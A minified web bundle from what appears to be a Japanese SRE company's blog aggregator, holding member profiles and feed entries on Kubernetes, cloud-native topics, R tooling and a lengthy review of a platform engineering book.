daisuki",avatarSrc:"/avatars/bayobayo0324.jpeg",sources:["https://qiita.com/bayobayo0324/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"bayobayo0324",websiteUrl:""},{id:"myamamoto",name:"myamamoto",role:"SRE",bio:"human",avatarSrc:"/avatars/myamamoto.jpeg",sources:["https://zenn.dev/ureuzy/feed"],includeUrlRegex:"",twitterUsername:"ureuzy",githubUsername:"ureuzy",websiteUrl:""},{id:"seno",name:"seno",role:"DBRE",bio:"seno",avatarSrc:"/avatars/seno.jpeg",sources:["https://zenn.dev/nedoko_dok0dko/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"senohirona",websiteUrl:""},{id:"sakama",name:"sakama",role:"SRE",bio:"homo sapiens",avatarSrc:"/avatars/sakama.jpeg",sources:[],includeUrlRegex:"",twitterUsername:"",githubUsername:"junichiro-sakama",websiteUrl:""},{id:"stakamura",name:"Shohei Takamura",role:"SRE",bio:"SRE",avatarSrc:"/avatars/stakamura.jpg",sources:["https://zenn.dev/hakushou41/feed"],includeUrlRegex:"",twitterUsername:"hakushou41",githubUsername:"hakushou41",websiteUrl:""},{id:"toVersus",name:"Tsubasa Nagasawa",role:"SRE",bio:"lazy programmer",avatarSrc:"/avatars/toVersus.png",sources:["https://qiita.com/toVersus/feed","https://zenn.dev/toversus/feed"],includeUrlRegex:"",twitterUsername:"toversus26",githubUsername:"toVersus",websiteUrl:""},{id:"raba-jp",name:"Hiroki Sakuraba",role:"Software Developer",bio:"meow",avatarSrc:"/avatars/raba-jp.jpg",sources:["https://zenn.dev/raba_jp/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"raba-jp",websiteUrl:""},{id:"ixsakra",name:"Ryosuke Sakurai",role:"SRE",bio:"ganbarumasu 'w'",avatarSrc:"/avatars/ixsakra.jpg",sources:[],includeUrlRegex:"",twitterUsername:"",githubUsername:"",websiteUrl:""},{id:"nnaka2992",name:"NAKADATE Naoki",role:"DBRE",bio:"what on the earth is Database?",avatarSrc:"/avatars/nnaka2992.jpg",sources:["https://nnaka2992.hatenablog.com/feed","https://zenn.dev/nnaka2992/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"",websiteUrl:"https://nnaka2992.hatenablog.com/"},{id:"satoken",name:"satoken",role:"SRE",bio:"How do you like Wednesday?",avatarSrc:"/avatars/satoken.jpg",sources:["https://zenn.dev/satoken/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"",websiteUrl:""},{id:"bells17",name:"bells17",role:"Software Engineer",bio:"Software Engineer",avatarSrc:"/avatars/bells17.jpeg",sources:["https://zenn.dev/bells17/feed","https://medium.com/feed/@bells17","https://speakerdeck.com/bells17.rss"],includeUrlRegex:"",twitterUsername:"bells17_",githubUsername:"bells17",websiteUrl:"https://bells17.io/"},{id:"yokoo-an209",name:"Annosuke Yokoo",role:"SRE",bio:"Buchiagemasu!",avatarSrc:"/avatars/yokoo.jpeg",sources:["https://qiita.com/yokoo-an209/feed","https://zenn.dev/yokoo_an209/feed","https://speakerdeck.com/parupappa2929.rss"],includeUrlRegex:"",twitterUsername:"866mfs",githubUsername:"parupappa",websiteUrl:""},{id:"hide-1",name:"Shuichi Inoue",role:"long-term internship student",bio:"I want to become a strong engineer :)",avatarSrc:"/avatars/hide-1.jpg",sources:["https://sreake.com/blog/config-connectortest/feed","https://sreake.com/blog/kubernetes-operation-with-chatgpt/feed","https://sreake.com/blog/kubernetes-operation-with-chatgpt4/feed","https://sreake.com/blog/chatgpt-slack-integration/feed"],includeUrlRegex:"",twitterUsername:"19MU50",githubUsername:"hide-1",websiteUrl:""},{id:"yuu0w0yuu",name:"Yutaro Shirayama",role:"SRE",bio:"( ˘ω˘ )",avatarSrc:"/avatars/shirayama.jpg",sources:["https://zenn.dev/yuu0w0yuu/feed"],includeUrlRegex:"",twitterUsername:"yuu0w0yuu",githubUsername:"yuu0w0yuu",websiteUrl:""},{id:"gawingowin",name:"Araki Shogo",role:"long-term internship student",bio:"born 2 be engineer",avatarSrc:"/avatars/araki-icon.jpg",sources:[],includeUrlRegex:"",twitterUsername:"GawinGowin",githubUsername:"GawinGowin",websiteUrl:""},{id:"nomadblacky",name:"Takumi Kadowaki",role:"Software Engineer @ Reckoner",bio:"Scala / Observability",avatarSrc:"/avatars/nomadblacky.jpg",sources:["https://zenn.dev/nomadblacky/feed"],includeUrlRegex:"",twitterUsername:"nomadblacky",githubUsername:"NomadBlacky",websiteUrl:""},{id:"kobuchi",name:"Shu Kobuchi",role:"Software Developer",bio:"mammalian",avatarSrc:"/avatars/kobuchi.jpeg",sources:["https://shu-kob.hateblo.jp/feed","https://speakerdeck.com/shukob.rss"],includeUrlRegex:"",twitterUsername:"shu_kob",githubUsername:"shu-kob",websiteUrl:""},{id:"kojake_300",name:"Yuki Iwasaki",role:"SRE",bio:"Splatoon",avatarSrc:"/avatars/yuki_iwasaki.png",sources:["https://qiita.com/kojake_300/feed","https://zenn.dev/kojake_300/feed","https://speakerdeck.com/kojake_300.rss"],includeUrlRegex:"",twitterUsername:"kojake_300",githubUsername:"",websiteUrl:""},{id:"kurita",name:"Kurita Keigo",role:"long-term internship student",bio:"I want to enginner the reliablity of the site",avatarSrc:"/avatars/kurita.jpg",sources:["https://kechigon.hatenablog.com/feed"],includeUrlRegex:"",twitterUsername:"kechigongon",githubUsername:"kechigon",websiteUrl:"https://www.wantedly.com/id/keigo_kurita_e"},{id:"kaita-nakamura",name:"Kaita Nakamura",role:"SRE",bio:"kaita",avatarSrc:"/avatars/kaitanakamura.jpg",sources:["https://zenn.dev/z63d/feed"],includeUrlRegex:"",twitterUsername:"z63d_",githubUsername:"z63d",websiteUrl:""},{id:"komiyama5380",name:"MASARU Komiyama",role:"PMO",bio:"SRE!!!",avatarSrc:"/avatars/komiyama5380.jpg",sources:["https://zenn.dev/komiyama/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"komiyama5380",websiteUrl:""},{id:"moz-sec",name:"Kobayashi Shun",role:"long-term internship student",bio:"I am a graduate student in Kyoto",avatarSrc:"/avatars/kobayashi.png",sources:["https://moz-security.hatenablog.com/feed","https://zenn.dev/moz_sec/feed","https://speakerdeck.com/moz_sec_.rss"],includeUrlRegex:"",twitterUsername:"moz_sec_",githubUsername:"moz-sec",websiteUrl:"https://moz-sec.com/"},{id:"melanmeg",name:"Naoya Yamamoto",role:"SRE",bio:"konpeko~",avatarSrc:"/avatars/melanmeg.png",sources:["https://zenn.dev/melanmeg/feed","https://speakerdeck.com/melanmeg.rss"],includeUrlRegex:"",twitterUsername:"melanmeg",githubUsername:"melanmeg",websiteUrl:"https://lit.link/melanmeg"},{id:"atusy",name:"Atsushi Yasumoto",role:"Software Developer",bio:"loves programming",avatarSrc:"/avatars/atusy.jpg",sources:["https://blog.atusy.net/index.xml"],includeUrlRegex:"",twitterUsername:"Atsushi776",githubUsername:"atusy",websiteUrl:"https://blog.atusy.net/"}].sort((e,t)=>e.id{let{path:t,title:o,description:i,ogImageUrl:s,noindex:l,removeSiteNameFromTitle:c}=e,u="".concat(n.v.siteRoot).concat(t||"");return(0,a.jsxs)(r(),{children:[(0,a.jsx)("title",{children:c?o:"".concat(o," | ").concat(n.v.siteMeta.title)}),(0,a.jsx)("meta",{property:"og:title",content:o}),(0,a.jsx)("meta",{property:"og:url",content:u}),(0,a.jsx)("meta",{name:"twitter:card",content:"summary_large_image"}),(0,a.jsx)("meta",{property:"og:site",content:n.v.siteMeta.title}),(0,a.jsx)("meta",{property:"og:image",content:s||"".concat(n.v.siteRoot,"/og.png")}),!!i&&(0,a.jsxs)(a.Fragment,{children:[(0,a.jsx)("meta",{name:"description",content:i}),(0,a.jsx)("meta",{property:"og:description",content:i})]}),t&&(0,a.jsx)("link",{rel:"canonical",href:u}),l&&(0,a.jsx)("meta",{name:"robots",content:"noindex"})]})}},518:function(e,t,o){o.d(t,{ci:function(){return r},gO:function(){return n},gb:function(){return s},n4:function(){return i}});var a=o(1807);function i(e){return a.T.find(t=>t.id===e)}function r(e){let t=new URL(e);return(null==t?void 0:t.hostname)||"blog"}function n(e){return"https://www.google.com/s2/favicons?domain=".concat(e)}function s(e){return"/members/".concat(encodeURIComponent(e))}o(8928)},8928:function(e){e.exports=JSON.parse('[{"title":"スリーシェイク、「SRE総合支援コンサルティングサービス」および「DataDog導入支援サービス」を AWS Marketplace で提供開始","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)が提供する「SRE総合支援コンサルティングサービス」および「DataDog導入支援サービス」を AWS Marketplace で提供開始したことをお知らせします。The post スリーシェイク、「SRE総合支援コンサルティングサービス」および「DataDog導入支援サービス」を AWS Marketplace で提供開始 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/datadog_aws-marketplace/","isoDate":"2024-11-05T02:34:26.000Z","dateMiliSeconds":1730774066000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Generative AI Summit Tokyo ’24 Fallに参加しました","contentSnippet":"Sreake事業部インターン生の荒木です。先日Generative AI Summit Tokyo ’24 Fallに参加してまいりました!本イベントで得られた知見や、セッションの様子などを紹介します。 内容 […]The post Generative AI Summit Tokyo ’24 Fallに参加しました first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/generative-ai-summit-tokyo-24-fall-2/","isoDate":"2024-11-05T01:02:35.000Z","dateMiliSeconds":1730768555000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Kubernetes Pod で Wasm と Linux コンテナを並行して実行する","contentSnippet":"!雑なメモ、誤情報に注意 概要KubeCon + CloudNativeCon North America 2024 の Running WebAssembly (Wasm) Workloads Side-by-Side with Container Workloads が気になったので事前に少し調べたメモ。runwasi は Sidecar パターンを拡張します。Pod で軽量な Wasm を Linux コンテナの Sidecar として実行するメリットが色々あります。という話だと思う。 runwasishim を開発するライブラリ、shim プロセスをつくるものと...","link":"https://zenn.dev/z63d/articles/cccf07c5a36ab3","isoDate":"2024-11-03T03:34:49.000Z","dateMiliSeconds":1730604889000,"authorName":"Kaita Nakamura","authorId":"kaita-nakamura"},{"title":"FinOpsとは 〜クラウドネイティブ・SRE・CCoEの導入によるFinOpsの実践〜","contentSnippet":"目次 はじめに FinOpsとは クラウド利用コストに関する課題 Finopsの実現に必要なこと、導入方法 FinOpsの取り組み例 結論 1. はじめに 現在、さまざまな業界の多種多様なシステムにおいて、クラウドサービ […]The post FinOpsとは 〜クラウドネイティブ・SRE・CCoEの導入によるFinOpsの実践〜 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/finops%e3%81%a8%e3%81%af/","isoDate":"2024-11-01T04:08:54.000Z","dateMiliSeconds":1730434134000,"authorName":"Sreake","authorId":"Sreake"},{"title":"クラウドネイティブとは 〜新時代を切り拓くためのCCoE・SRE導入と実践〜","contentSnippet":"目次 はじめに クラウドネイティブとは何か クラウドネイティブが、システム開発や運用にもたらすメリット クラウドネイティブなシステムを構築、運用するためのポイントや始め方 代表的なクラウドネイティブ技術 クラウドネイティ […]The post クラウドネイティブとは 〜新時代を切り拓くためのCCoE・SRE導入と実践〜 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/%e3%82%af%e3%83%a9%e3%82%a6%e3%83%89%e3%83%8d%e3%82%a4%e3%83%86%e3%82%a3%e3%83%96%e3%81%a8%e3%81%af/","isoDate":"2024-11-01T04:08:34.000Z","dateMiliSeconds":1730434114000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Platform Engineeringとは 〜SRE導入で目指す開発者体験の革新〜","contentSnippet":"目次 はじめに Platform Engineeringとは何か Platform Engineeringがもたらすメリット Platform Engineeringを始める時のポイント 代表的なPlatform Eng […]The post Platform Engineeringとは 〜SRE導入で目指す開発者体験の革新〜 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/platform-engineering/","isoDate":"2024-11-01T04:08:14.000Z","dateMiliSeconds":1730434094000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Nixで最新のR環境を構築できなくてしんどい","contentSnippet":"先日、nix-shellでRを使うという記事を書きましたが、Nixで入れたRをふだん使いするのはしんどいな……と感じています。いかんせん、R本体もパッケージも最新のものを使えない現状があります。nix本家が対応に困ってる2024-11-01時点で最新のRは4.4.2ですが、nixで利用可能なRは4.4.1で止まっています。どうにも、パッケージの依存関係の都合で更新したくてもできない状況になっているようです。","link":"https://blog.atusy.net/2024/11/01/nix-r-is-tough/","isoDate":"2024-11-01T00:00:00.000Z","dateMiliSeconds":1730419200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"【CloudNative Entry】入社課題で学んだことTips","contentSnippet":"はじめに10月から 3-shake に入社した melanmeg です。入社時課題が始まって、 やったこと・わかったこと をここに整理してみました!!内容は「クラウドネイティブのエントリーレベルのスキルを身に着ける」といったものになります前職ではAWS・Azureを触っていたため、今回Google Cloudで課題を進めることにしました。今まで触ってこなかったのでクラウドごとの特徴を知れる良い学びになりました。早速、整理したことを紹介していきます。 課題一言でいうと、『クラウドネイティブのエントリーレベルのスキルを身に着けるを目標の元、k8sクラスタ構築からwo...","link":"https://zenn.dev/melanmeg/articles/f52c5aaa895523","isoDate":"2024-10-31T15:03:05.000Z","dateMiliSeconds":1730386985000,"authorName":"Naoya Yamamoto","authorId":"melanmeg"},{"title":"Kubernetes Gateway API 入門","contentSnippet":"ちょうど1年前にGAとなったKubernetesのGateway APIを触る機会がなかったので、個人的に理解を深めるようと思います。https://kubernetes.io/blog/2023/10/31/gateway-api-ga/ Gateway API とは?L4とL7ルーティングを担う次世代のKubernetes Ingress、Load Balancing、Service Mesh APIsです。汎用的で表現力があり役割が分離できるように設計されています。役割指向Kubernetesのサービスネットワークの利用と設定を行う組織の役割を表現したAPIリソースに...","link":"https://zenn.dev/tayusa/articles/786e3c11e631fe","isoDate":"2024-10-31T02:57:25.000Z","dateMiliSeconds":1730343445000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"WebサイトやGitHubソースコードを処理 (ハンズオン)","contentSnippet":"#7 WebサイトやGitHubソースコードを処理 (ハンズオン)【オンライン】 - connpassgenai-users.connpass.com勉強会の資料です。Google Cloudでクレデンシャルを取得IAMと管理 > サービスアカウント↓こちらの記事を参考shu-kob.hateblo.jp環境変数にセット以下はMacで、.zprofileの場合export GOOGLE_APPLICATION_CREDENTIALS=\\"/path/PROJECT_ID-XXXXXXXXXX.json\\"source ~/.zprofileソースコードを取得github.comgit clone https://github.com/shu-kob/genai-web-github-loadercd genai-web-github-loadernpm iWebページを読んで要約loadWebPages.tsで、プロジェクトIDの書き換えconst project = \'PROJECT_ID\' // 書き換える実行npx tsx loadWebPages.ts https://www.raumen.co.jp/rapedia/study_history/ソースコードの読み込んで仕様書を作成loadGitHubでプロジェクトIDの書き換えconst project = \'PROJECT_ID\' // 書き換える実行npx tsx loadGitHub.ts https://github.com/shu-kob/genai-web-github-loader","link":"https://shu-kob.hateblo.jp/entry/2024/10/29/190456","isoDate":"2024-10-29T10:04:56.000Z","dateMiliSeconds":1730196296000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Cilium Node IPAM LBによるロードバランシング","contentSnippet":"目次 はじめに Ciliumのロードバランシング方法 Node IPAM LB 検証 環境構築 Serviceの作成 externalTrafficPolicy ノードの制限 実装 まとめ 参照 はじめに Sreake事 […]The post Cilium Node IPAM LBによるロードバランシング first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/cilium-node-ipam-lb-load-balancing/","isoDate":"2024-10-28T05:08:45.000Z","dateMiliSeconds":1730092125000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Rでログを出力する(loggerパッケージ)","contentSnippet":"先日「Rでndjson形式のログを解析する]」の記事を書いた流れで、そういえばRでログを出力する方法を知らないな思ったので調べてみました。Rでログを扱うパッケージはいくつかありますが、開発が盛んなのはloggerパッケージのようです。最近(2024年8月がごろ)はHadleyも開発に入っているので、安心感がありますね。loggerパッケージのWebサイトには、類似パッケージの紹介もあるので、他を見当したい場合も、まずはここを見てみるとよいでしょう。","link":"https://blog.atusy.net/2024/10/25/r-logger/","isoDate":"2024-10-25T00:00:00.000Z","dateMiliSeconds":1729814400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"技術がなければ作れない、必要がなければ存在している資格がない - Platform Engineering: A Guide for Technical, Product, and People Leaders の読書感想文","contentSnippet":"我に似せる者は生き、我を象る者は死す(本質を理解して創造的に学ぶ者は発展し、表面的な模倣に留まる者は衰退する)。はじめに「Platform Engineering: A Guide for Technical, Product, and People Leaders」は、現場での実践知を出発点として、プラットフォームエンジニアリングの本質に迫る実践的なガイドとして、技術リーダーから上級管理職まで向けた幅広い読者層に向けて書かれています。個人的にはもう少しだけ広げて開発者やプラットフォームを実際に使う側も読んでも学びのある本だと思いました。著者のCamilleとIanの豊富な経験が凝縮された本書は、単なる表面的な手法の模倣ではなく、実際の現場での試行錯誤から導き出されたプラクティス、そしてその背後にある根本的な原理と思想を探求し、それが現代のソフトウェア開発組織においていかに革新的な価値を生み出すかを浮き彫りにしています。本書の真価は、プラットフォームエンジニアリングを単なる技術的な手法の集合としてではなく、日々の実践から得られた知見を体系化し、組織の進化と持続的な成長を促す戦略的な思考基盤として捉えている点にあります。技術的な実装の詳細よりも、組織が現場の文脈に根ざした実践を重ね、そこからプラクティスを抽出し、最終的にプラットフォームエンジニアリングの本質的な原則を理解して創造的に応用していく方法論に重点が置かれています。これは、現代のソフトウェア開発組織が直面する複雑性の管理と開発者体験の向上という課題に対する、本質的かつ持続可能な解決の道筋を示すものとなっています。Platform Engineering: A Guide for Technical, Product, and People Leaders (English Edition)作者:Fournier, Camille,Nowland, IanO\'Reilly MediaAmazonプラットフォームエンジニアリングの重要性プラットフォームエンジニアリングは、複雑なソフトウェア環境でのイノベーションを促進する開発者体験の向上に不可欠な鍵となり、クラウドへの移行だけでは解決できない問題に対処するための重要な基盤を提供しています。さらに、組織の成長に伴うスケーラビリティの要求とセキュリティニーズの両方に対応する重要な役割を果たすことで、現代のソフトウェア開発組織にとって極めて重要な存在となっています。learning.oreilly.com本書が組織的・戦略的側面に焦点を当てているのに対し、より技術的な側面、特にCloud Nativeな実装に興味がある方には、「Platform Engineering on Kubernetes」がおすすめです。こちらの書籍では、Kubernetesを基盤としたプラットフォームエンジニアリングの実践的なアプローチが詳細に解説されています。syu-m-5151.hatenablog.com両書を併読することで、プラットフォームエンジニアリングの組織的側面と技術的側面の両方を深く理解することができ、より包括的な知識を得ることができるでしょう。本書の構成と特徴本書は現場での実践を起点としながら、プラットフォームエンジニアリングを組織的、戦略的に展開するためのガイドとして構成されており、著者たちが数々の現場で直面した課題と、そこから得られた具体的で実行可能な知見を提供しています。特筆すべきは、個々の技術的解決策にとどまらず、チーム構成や製品管理、ステークホルダーマネジメントなど、現場で真に重要となる組織的側面にも焦点を当てている点で、日々の実践に携わる技術リーダーからCTOやSVPなどの組織の舵取りを担う上級管理職までを想定した実践的な内容となっています。最後に、これら3つのパートは、現場での実践から抽出された原則(Part I)、その原則に基づく具体的なプラクティス(Part II)、そしてそれらの効果を測定・評価する方法(Part III)という、現場起点の論理的な流れを形成しています。特に、第3部で提示される成功の定義は、第1部で説明される現場から導き出された原則と、第2部で示される実践的なアプローチを有機的に結びつける重要な役割を果たしています。本書は、プラットフォームエンジニアリングの現場で直面する本質的な難しさを率直に語っています。具体的には、「技術的に面白いから作る」のではなく現場で真に必要とされるものを見極めて提供するという価値提供の本質、計画の難しさを認識しつつも現場の文脈に応じて適切に実行するという実践知、そして組織の重要なシステムを支える責任を全うするための運用の成熟という現場力の醸成といった課題を挙げています。これらの課題に対して、本書は原則に基づきながらも現場の実態に即した解決の道筋を示しています。正しいものを正しくつくる プロダクトをつくるとはどういうことなのか、あるいはアジャイルのその先について作者:市谷 聡啓ビー・エヌ・エヌ新社AmazonPart I. Platform Engineeringの本質と意義第1部は、Platform Engineeringの根本的な「なぜ」と「何を」に焦点を当てています。Simon Sinekの「イノベーションは夢からではなく、苦闘から生まれる」という言葉に象徴されるように、本章では現代のソフトウェア開発が直面する複雑性と変化の課題に対して、Platform Engineeringがなぜ適切なアプローチなのかを解説しています。特に印象的なのは、Platform Engineeringの4つの柱(製品思考、ソフトウェアエンジニアリング、包括的アプローチ、運用効率)について、単なる理論的な枠組みではなく、実践的な基盤として提示している点です。私の経験でも、これらの要素のバランスを取ることが、プラットフォームチームの成功への鍵となっています。また、国内の参考資料として、jacopenさんの『「共通基盤」を超えよ! 今、Platform Engineeringに取り組むべき理由』がおすすめです。この記事を読むことで、本書の全体像がより明確に理解できるので一読してもらいたいです。 speakerdeck.comChapter 1. Why Platform Engineering Is Becoming Essential第1章「Why Platform Engineering Is Becoming Essential」は、プラットフォームエンジニアリングが現代のソフトウェア開発組織において不可欠となっている背景と理由について、包括的な視点から解説しています。著者は、過去25年間のソフトウェア組織が直面してきた共通の課題から説き起こし、クラウドコンピューティングとオープンソースソフトウェア(OSS)の台頭がもたらした複雑性の増大、そしてそれに対するプラットフォームエンジニアリングの解決アプローチを詳細に論じています。プラットフォームエンジニアリングの本質と定義著者は、プラットフォームを「自己サービス型のAPI、ツール、サービス、知識、サポートを、魅力的な内部プロダクトとして組み合わせた基盤」と定義しています。この定義は、単なる技術的な基盤以上のものを示唆しており、プラットフォームが組織全体に提供する価値を包括的に捉えています。他にもCNCFが公開している「CNCF Platforms White Paper」では、Platformsについて「クラウドネイティブコンピューティングのためのプラットフォームは、プラットフォームのユーザーのニーズに応じて定義・提示される統合された機能のコレクションです。幅広いアプリケーションやユースケースに対して、一般的な機能やサービスを取得・統合するための一貫した体験を確保するクロスカッティングなレイヤーです。優れたプラットフォームは、Webポータル、プロジェクトテンプレート、セルフサービスAPIなど、その機能やサービスの利用と管理に一貫したユーザー体験を提供します」と定義しています。tag-app-delivery.cncf.ioまた、プラットフォームエンジニアリングの成熟度を評価するための「Platform Engineering Maturity Model」も公開されていますので、ぜひ参考にしてください。tag-app-delivery.cncf.ioFigure 1-1. The over-general swamp, held together by glue より引用[Figure 1.1]では、「Over-General Swamp」の状態を示しており、多数のアプリケーションが個別のプリミティブと直接統合され、それらの間を大量のglueコードが繋いでいる様子が描かれています。この図は、プラットフォームが存在しない状態での複雑性の増大を視覚的に表現しています。あるプログラムで、異なるシステムやコンポーネントを連携させるために書かれる仲介的なコードのことです。このコードは、システムの本来の機能には直接関係しませんが、互換性のない部品同士をスムーズに連携させるために必要な「接着剤」のような役割を果たします。これを『グルーコード』と言います。ja.wikipedia.org特に印象的なのは、著者がプラットフォームエンジニアリングを複雑性を管理しながらビジネスへのレバレッジを提供するという明確な目的を持った規律として位置づけている点です。私の経験でも、単なる技術的な基盤提供を超えて、開発者の生産性向上とビジネス価値の創出を同時に実現することが、プラットフォームエンジニアリングの成功の鍵となっています。現代のソフトウェア開発における「Over-General Swamp」の問題Figure 1-2. How platforms reduce the amount of glue より引用[Figure 1.2]は、プラットフォームエンジニアリングによる解決後の状態を示しています。この図では、プラットフォームが複数のプリミティブを抽象化し、アプリケーションとの間にクリーンなインターフェースを提供している様子が描かれています。glueコードが大幅に削減され、システム全体の見通しが改善されていることが分かります。著者は現代のソフトウェア開発環境を「Over-General Swamp(過度に一般化された沼)」と表現し、この比喩を通じて複雑性の罠を見事に描き出しています。クラウドとOSSの普及により、開発者は豊富な選択肢を手に入れましたが、それは同時に「接着剤(glue)」と呼ばれる統合コードやカスタム自動化の増加をもたらしました。プラットフォームエンジニアリングによる解決アプローチ著者が提示するプラットフォームエンジニアリングの解決策は、製品としてのアプローチを重視しています。これは、ユーザー中心の視点を持ちながら、機能の取捨選択を慎重に行い、全体としての一貫性と使いやすさを追求することを意味します。Appleの製品開発アプローチを例に挙げながら、著者は機能の追加だけでなく、むしろ何を含めないかの判断の重要性を強調しています。INSPIRED 熱狂させる製品を生み出すプロダクトマネジメント作者:マーティ・ケーガン,佐藤真治,関満徳日本能率協会マネジメントセンターAmazon技術的な側面では、プラットフォームエンジニアリングは複雑性を管理可能なレベルに抑えることを目指します。例えば、インフラストラクチャの分野では、Terraformの例を用いて、個々のチームが独自にインフラストラクチャを管理する場合の問題点と、プラットフォームによる抽象化がもたらす利点が説明されています。DXを成功に導くクラウド活用推進ガイド CCoEベストプラクティス作者:黒須 義一,酒井 真弓,遠山 陽介,伊藤 利樹,饒村 吉晴日経BPAmazonプラットフォームチームの役割とイノベーション著者は、プラットフォームチームの役割について、従来のインフラストラクチャ、DevTools、DevOps、SREの各アプローチとの違いを明確に示しています。これらの従来のアプローチは、それぞれの専門分野に特化していますが、プラットフォームエンジニアリングはこれらの境界を越えて、より包括的な価値を提供することを目指します。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon特筆すべきは、著者がイノベーションとプラットフォームの関係について、現実的な見解を示している点です。プラットフォームは既存の技術スタック内でのビジネスイノベーションを促進する一方で、プラットフォームの範囲を超えた革新的な取り組みも必要だと認めています。例えば、データ領域での新しい技術の採用など、プラットフォームの制約を一時的に超えることが必要な場合もあると指摘しています。章全体からの学び第1章は、プラットフォームエンジニアリングが現代のソフトウェア開発組織にとって不可欠な理由を説得力のある形で提示しています。複雑性の増大、運用負荷の増加、イノベーションの必要性といった課題に対して、プラットフォームエンジニアリングは包括的な解決策を提供します。著者は、プラットフォームエンジニアリングが単なる技術的な取り組みではなく、組織全体の成功に関わる戦略的な施策であることを強調しています。これは、私の実務経験とも強く共鳴する見解です。プラットフォームエンジニアリングの成功には、技術的な卓越性だけでなく、組織的な変革とイノベーションのバランスを取ることが求められます。今後のソフトウェア開発組織にとって、プラットフォームエンジニアリングの導入は避けて通れない課題となるでしょう。本章は、その理由と意義を深く理解するための優れた導入を提供しています。特に、プラットフォームエンジニアリングが組織にもたらす具体的な価値と、その実現に向けた実践的なアプローチについての示唆は、多くの組織にとって有用な指針となるはずです。特に注目すべきは、プラットフォームを「製品」として扱うアプローチや、ステークホルダーマネジメントの重要性など、技術面だけでなく組織的な側面にも焦点を当てている点です。これらの知見は、プラットフォームエンジニアリングの実践において大きな価値をもたらすと考えられます。プラットフォームエンジニアリングリーダーとして、本書から学んだ知識を自身のチームや組織に適用し、より効果的なプラットフォーム戦略を構築していくことが重要です。また、本書が提起する課題や解決策について、同僚や業界のピアとのディスカッションを通じて、さらなる洞察を得ることができるでしょう。このような実践と対話を通じて、プラットフォームエンジニアリングの分野がさらに発展していくことが期待されます。「翻訳記事 -「インフラ基盤部門は本当に必要か」に関する議論」なんかもとても良い記事なので読んでほしいです。ca-srg.devChapter 2. The Pillars of Platform Engineering第2章「The Pillars of Platform Engineering」は、プラットフォームエンジニアリングの4つの重要な柱について詳細に解説しています。著者は、Product(製品としてのアプローチ)、Development(ソフトウェアベースの抽象化)、Breadth(幅広い開発者への対応)、Operations(基盤としての運用)という4つの柱を通じて、効果的なプラットフォームエンジニアリングの実践方法を示しています。これらの柱は相互に補完し合い、成功するプラットフォームエンジニアリングの基礎を形成しています。キュレートされた製品アプローチの重要性プラットフォームエンジニアリングにおける最初の柱は、キュレートされた製品アプローチです。このアプローチは、単なる技術的な実装を超えて、ユーザーのニーズを中心に据えた戦略的な製品開発を意味します。著者は、これを「paved paths(舗装された道)」と「railways(鉄道)」という2つの異なるタイプのプラットフォーム製品として説明しています。Paved Pathsは、複数のオファリングを統合した使いやすいワークフローを提供し、アプリケーションチームから複雑性を隠蔽しながら、パレート原理に基づいて20%のユースケースで80%のニーズをカバーすることを目指す標準的なアプローチを提供します。Figure 2-1. Architecture of a paved path platform より引用[Figure 2.1]は「paved path」の概念を視覚的に表現しており、複数のオファリングを使いやすいワークフローとして統合し、アプリケーションチームから複雑性を隠蔽する方法を示しています。これは共通のニーズに対応するための標準的なアプローチを提供することを目的としており、著者が提唱する製品としてのプラットフォームの本質を端的に表現しています。Railwaysは、既存製品では対応できない特定ニーズに応え、組織全体に特定の機能を提供するための重要なインフラストラクチャ投資を伴い、プロトタイプから進化してスケーラブルなソリューションを提供する新しい形態のプラットフォームです。Figure 2-2. Architecture of a railway platform より引用[Figure 2.2]は「railway」型プラットフォームを示しており、既存の製品では対応できない特定のニーズに応える新しい形態のプラットフォームを表現しています。具体例として、バッチジョブプラットフォーム、通知システム、グローバルアプリケーション設定プラットフォーム、データ処理パイプライン、監視・モニタリングプラットフォームなどが挙げられます。プラットフォームを製品として捉えることは、単なる技術的な選択以上の意味を持ちます。ユーザー中心のデザインを通じて一貫性のある使いやすいインターフェースを提供し、明確なドキュメンテーションと効果的なオンボーディング体験を実現することが重要です。また、必要な機能の追加と不要機能の大胆な削除を行いながら、機能の優先順位付けを適切に管理し、継続的な改善サイクルを通じてユーザーフィードバックを収集・分析し、パフォーマンス指標の測定と定期的な機能の見直しを行うことが求められます。ソフトウェアベースの抽象化の実現著者は、「ソフトウェアを構築していないなら、それはプラットフォームエンジニアリングではない」と明確に述べています。この主張は、プラットフォームエンジニアリングの本質を理解する上で極めて重要です。効果的な抽象化を実現するためには、適切な粒度での機能分割、一貫性のあるインターフェース、バージョニング戦略、エラーハンドリングなどのAPI設計の原則に加えて、スケーラビリティ、パフォーマンス、セキュリティ、監視可能性などの実装上の考慮事項も重要となります。幅広い開発者ベースへのサービス提供プラットフォームの対象は幅広い開発者ベースであり、セルフサービス機能、ユーザー観測性、ガードレール、マルチテナンシーが重要な要素となります。これらは直感的なユーザーインターフェースとAPI駆動の自動化による効率的なワークフロー、詳細なログ記録とパフォーマンスメトリクス、セキュリティ制御とリソース制限、そしてリソースの分離とアクセス制御を実現します。GenerativeAIの影響と展望著者は、GenerativeAIがプラットフォームエンジ